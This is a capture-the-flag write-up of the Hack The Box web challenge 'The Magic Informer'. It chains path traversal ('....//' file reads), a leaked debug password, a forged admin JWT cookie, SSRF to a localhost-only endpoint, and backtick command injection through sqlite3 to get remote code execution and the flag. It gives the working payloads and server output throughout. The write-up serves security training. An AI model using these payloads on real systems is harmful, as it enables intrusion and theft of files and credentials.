The Magic Informer
The Magic Informer is the only byte-sized wizarding newspaper that brings
the best magical news to you at your fingertips! Due to popular demand
and bold headlines, we are often targeted by wizards and hackers alike.
We need you to pentest our news portal and see if you can gain access to
our server.
My first thought was to create a user and see what I could do with it. I used the login form to create an account:
My username and password were both <script>alert('test')</script>
, simply to detect any XSS vulnerabilities within the portal once the account was created.
Once I had the account created, I noticed that there was a portal to upload a resume document to the server.
Once uploaded, the document can be downloaded via a URL formatted like http://159.65.63.151:32696/download?resume=2f6249446171359a2716f3b2c37dd0fe.docx
. I spy a potential LFI vulnerability!
Navigating to http://159.65.63.151:32696/download?resume=../../../../../../etc/passwd
gives the following error:
Error: ENOENT: no such file or directory, stat '/app/uploads/etc/passwd'
The same error happens with absolute paths like /etc/passwd
, indicating that the programmers were smart enough to sanitize the path before using it. One thing that's interesting is what happens when you use backslashes instead of forward slashes, i.e. http://159.65.63.151:32696/download?resume=..\..\..\etc\passwd
. The error message changes to:
ForbiddenError: Forbidden
at createHttpError (/app/node_modules/send/index.js:979:12)
at SendStream.error (/app/node_modules/send/index.js:270:31)
at SendStream.pipe (/app/node_modules/send/index.js:549:12)
at sendfile (/app/node_modules/express/lib/response.js:1130:8)
at ServerResponse.sendFile (/app/node_modules/express/lib/response.js:449:3)
at ServerResponse.download (/app/node_modules/express/lib/response.js:598:15)
at file:///app/routes/index.js:144:24
Adding a null byte to the end of the path, i.e. http://159.65.63.151:32696/download?resume=../../../etc/passwd%00
, changes the error as well:
BadRequestError: Bad Request
at createHttpError (/app/node_modules/send/index.js:979:12)
at SendStream.error (/app/node_modules/send/index.js:270:31)
at SendStream.pipe (/app/node_modules/send/index.js:522:10)
at sendfile (/app/node_modules/express/lib/response.js:1130:8)
at ServerResponse.sendFile (/app/node_modules/express/lib/response.js:449:3)
at ServerResponse.download (/app/node_modules/express/lib/response.js:598:15)
at file:///app/routes/index.js:144:24
Finally, after doing some more searching and discovering these tips, I was able to get it to download the file with the following URL:
http://159.65.63.151:32696/download?resume=....//....//....//etc/passwd
The file downloaded successfully, and I was able to see the contents of the /etc/passwd
file:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh
The same technique didn't work on /etc/shadow
unfortunately, but I was able to pick out the username node
as being interesting in pursuing. Navigating to http://159.65.63.151:32696/download?resume=....//....//....//home/node/flag.txt
unfortunately didn't work:
Error: ENOENT: no such file or directory, stat '/home/node/flag.txt'
SSHing into node
failed as well:
$ ssh node@159.65.63.151 -p 32696 -vvvvA
OpenSSH_8.2p1 Ubuntu-4ubuntu0.5, OpenSSL 1.1.1f 31 Mar 2020
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: include /etc/ssh/ssh_config.d/*.conf matched no files
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug2: resolve_canonicalize: hostname 159.65.63.151 is address
debug2: ssh_connect_direct
debug1: Connecting to 159.65.63.151 [159.65.63.151] port 32696.
debug1: Connection established.
debug1: identity file /home/username/.ssh/id_rsa type -1
debug1: identity file /home/username/.ssh/id_rsa-cert type -1
debug1: identity file /home/username/.ssh/id_dsa type -1
debug1: identity file /home/username/.ssh/id_dsa-cert type -1
debug1: identity file /home/username/.ssh/id_ecdsa type -1
debug1: identity file /home/username/.ssh/id_ecdsa-cert type -1
debug1: identity file /home/username/.ssh/id_ecdsa_sk type -1
debug1: identity file /home/username/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file /home/username/.ssh/id_ed25519 type -1
debug1: identity file /home/username/.ssh/id_ed25519-cert type -1
debug1: identity file /home/username/.ssh/id_ed25519_sk type -1
debug1: identity file /home/username/.ssh/id_ed25519_sk-cert type -1
debug1: identity file /home/username/.ssh/id_xmss type -1
debug1: identity file /home/username/.ssh/id_xmss-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
debug1: kex_exchange_identification: banner line 0: HTTP/1.1 400 Bad Request
debug1: kex_exchange_identification: banner line 1: Connection: close
debug1: kex_exchange_identification: banner line 2:
kex_exchange_identification: Connection closed by remote host
There was no home/node/.ssh/authorized_keys
file to retrieve and use for authentication as suggested here. I also gave /root/flag.txt
a shot, which gave us a Permission denied
error; this means we need to find a way to escalate our privileges first, since that might be where the flag is.
Any text sent via telnet (telnet 159.65.63.151 -r 32696
) just results in a "400 Bad Request", the same as SSH. There was nothing at /var/log/vsftpd.log
, /home/node/.ssh/id_rsa
, or any of the other standard places.
I tried writing a bash script and uploading that to see if I could find a way to execute it with the LFI:
#!/bin/bash
ls -la /
Uploading this via the form creates a file at /app/uploads/resume=1f8d66620347dc3cf29caafd5ad115cc.docx
, I'm assuming that this is some form of a file hash since it was the same when uploading the script multiple times. Hash analyzer says that it's likely MD5 or MD4, but I wasn't able to replicate the result from the text. Unfortunately I couldn't find a way to execute the file once it was on the server, so back to the drawing board.
Accessing ....//....//app/routes/index.js
via LFI, as indicated by the error messages earlier, gives us some good information. We learn that the admin
username is already registered and that they get redirected to /admin
upon login, which we don't have access to. The file confirms that the resume name is MD5, generated via ${resumeFile.md5}.docx
.
Their method of preventing LFI is resume = resume.replaceAll('../', '');
, which we were obviously able to outsmart. Seeing as how this is a Node app, I figured there had to be a package.json
; lo-and-behold, there was! It told us that the main file is named index.js
, so we request ....//....//app/index.js
as well.
This file has some more goodies for us. The ....//....//app/debug.env
file has the password needed to access the /debug/sql/exec
endpoint: CzliwZJkV60hpPJ
. However, that endpoint just interacts with the database via the sqlite3 -csv admin.db "${safeSql}"
command, so we can bypass the command entirely and download the file via the ....//....//app/admin.db
endpoint.
Parsing through the database with sqlitebrowser
reveals that the admin
user has a password hash of 09ece701cea64f9de8d4cb3e5c6b6e72
. Unfortunately this wasn't able to be reversed online or cracked with john
or hashcat
, so I'm not sure if it was truncated or just highly long and complicated. We were able to get the SMS endpoint header, which is Basic YWRtaW46YWRtaW4=
, but that doesn't seem to have any discernable use to us.
The AuthMiddleware that protects the /admin
route is available at ....//....//app/middleware/AdminMiddleware.js
. There is a database file at ....//....//app/database.js
that is used to connect to the database and run commands. That file tells us that the password is generated with crypto.randomBytes(16).toString('hex')
, which creates a string like c601c0f6fd444b8508043281be46adbe
then hashes it. That's why we aren't able to easily crack it. This means we likely need to gain access to that SQL URL after all to change the password hash to something that we know!
The admin page is available at ...//....//app/views/admin.html
via the LFI without knowing the password, since we know the routes we can just download it. The same goes for the sql-prompt.html
page, but unfortunately neither page seems to show anything of interest.
Since the cookie is being read for the username to authenticate requests, I decided to try to use jwt.io. Once I went to our cookie store and copied the session value, pasting it into the site shows the username as what I set it to. I used the site to change the value to admin
and edit the cookie value on my machine, then boom! We have access to the admin page.
The admin page leads us to the "SQL Prompt" page, which is where we can use the debug password to run SQL commands against the database; this page is where we need to take advantage of the sqlite3 -csv admin.db "${safeSql}"
command to try to execute commands on the server.
Whenever we use the password to try to run a command, we get the following error response returned:
Blocked: This endpoint is whitelisted to localhost only.
This gives me the idea to try making a request from the "SMS Gateway" page, since that seems to be able to interact with the external Clickatell API with no issues. I tried the following:
One thing I noticed is that I get the same error when using the URL http://0.0.0.0:1337/debug/sql/exec
, which is strange because that means the request is going to the localhost!
To really drill into what's going on with the filtering, I decided to do some more digging into the files. Once I retrieved the URL ...//....//app/middleware/LocalMiddleware.js
, I saw how they were doing the filtering:
const LocalMiddleware = async (req, res, next) => {
if (req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') {
return next();
}
return res.status(401).json({ message: 'Blocked: This endpoint is whitelisted to localhost only.' });
}
export { LocalMiddleware };
It turns out that they don't want localhost
or 0.0.0.0
, they're looking for 127.0.0.1
! Using this in the request worked to bypass this security measure and earned us a different error:
{"status":"unauthorized","message":"Authentication required!"}
After a long time, I realized that I need to use the cookie authentication on the form, since it can't read my actual session:
Now that we can execute SQL statements, we just need to perform a command injection that will get us access to the contents of /root
. My first thought was to set the SQL as "cat /root/flag.txt
", since the backticks are supposed to immediately execute a command in Bash, but no dice.
Next I tried this:
{"sql":"insert into users values (`cat /root/flag.txt`);","output":"cat: can't open '/root/flag.txt': Permission denied\nError: near \")\": syntax error\n"}
Trying with sudo
gave me a different error, saying the command isn't found:
{"sql":"insert into users values (`sudo cat /root/flag.txt`);","output":"/bin/sh: sudo: not found\nError: near \")\": syntax error\n"}
I tried echoing all the environmental variables to the database with this payload:
{"sql":"insert into users values (11,'command1','`(env || set) 2>/dev/null`', 0);","output":""}
And it worked! After downloading the admin database again, I got the following env vars:
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.245.0.1:443
NODE_VERSION=17.9.1
SUPERVISOR_GROUP_NAME=node
HOSTNAME=ng-themagicinformer-voraq-6b4c54d876-8b875
YARN_VERSION=1.22.19
SHLVL=2
HOME=/root
KUBERNETES_PORT_443_TCP_ADDR=10.245.0.1
DEBUG_PASS=CzliwZJkV60hpPJ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
SUPERVISOR_ENABLED=1
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.245.0.1:443
SUPERVISOR_PROCESS_NAME=node
KUBERNETES_SERVICE_HOST=10.245.0.1
PWD=/app
We have achieved RCE. I decided to list the contents of /
and got the following:
total 92
drwxr-xr-x 1 root root 4096 Dec 4 02:31 .
drwxr-xr-x 1 root root 4096 Dec 4 02:31 ..
drwxr-xr-x 1 node node 4096 Dec 4 02:53 app
drwxr-xr-x 1 root root 4096 Jun 6 19:21 bin
drwxr-xr-x 5 root root 360 Dec 4 02:31 dev
drwxr-xr-x 1 root root 4096 Dec 4 02:31 etc
drwxr-xr-x 1 root root 4096 Jun 6 19:21 home
drwxr-xr-x 1 root root 4096 Jun 6 19:21 lib
drwxr-xr-x 5 root root 4096 Apr 4 2022 media
drwxr-xr-x 2 root root 4096 Apr 4 2022 mnt
drwxr-xr-x 1 root root 4096 Jun 6 19:21 opt
dr-xr-xr-x 222 root root 0 Dec 4 02:31 proc
-rwsr-xr-x 1 root root 18784 Nov 30 16:42 readflag
drwx------ 1 root root 4096 Dec 1 20:20 root
drwxr-xr-x 1 root root 4096 Dec 4 02:31 run
drwxr-xr-x 2 root root 4096 Apr 4 2022 sbin
drwxr-xr-x 2 root root 4096 Apr 4 2022 srv
dr-xr-xr-x 13 root root 0 Dec 4 02:31 sys
drwxrwxrwt 1 root root 4096 Dec 4 02:31 tmp
drwxr-xr-x 1 root root 4096 Nov 30 16:42 usr
drwxr-xr-x 1 root root 4096 Apr 4 2022 var
As we can see, there is a suspicious readflag
binary that's itching to be ran. Running it gave me the flag:
HTB{br0k3n_4u7h_55RF_4s_4_s3rv1c3_d3bug_ftw}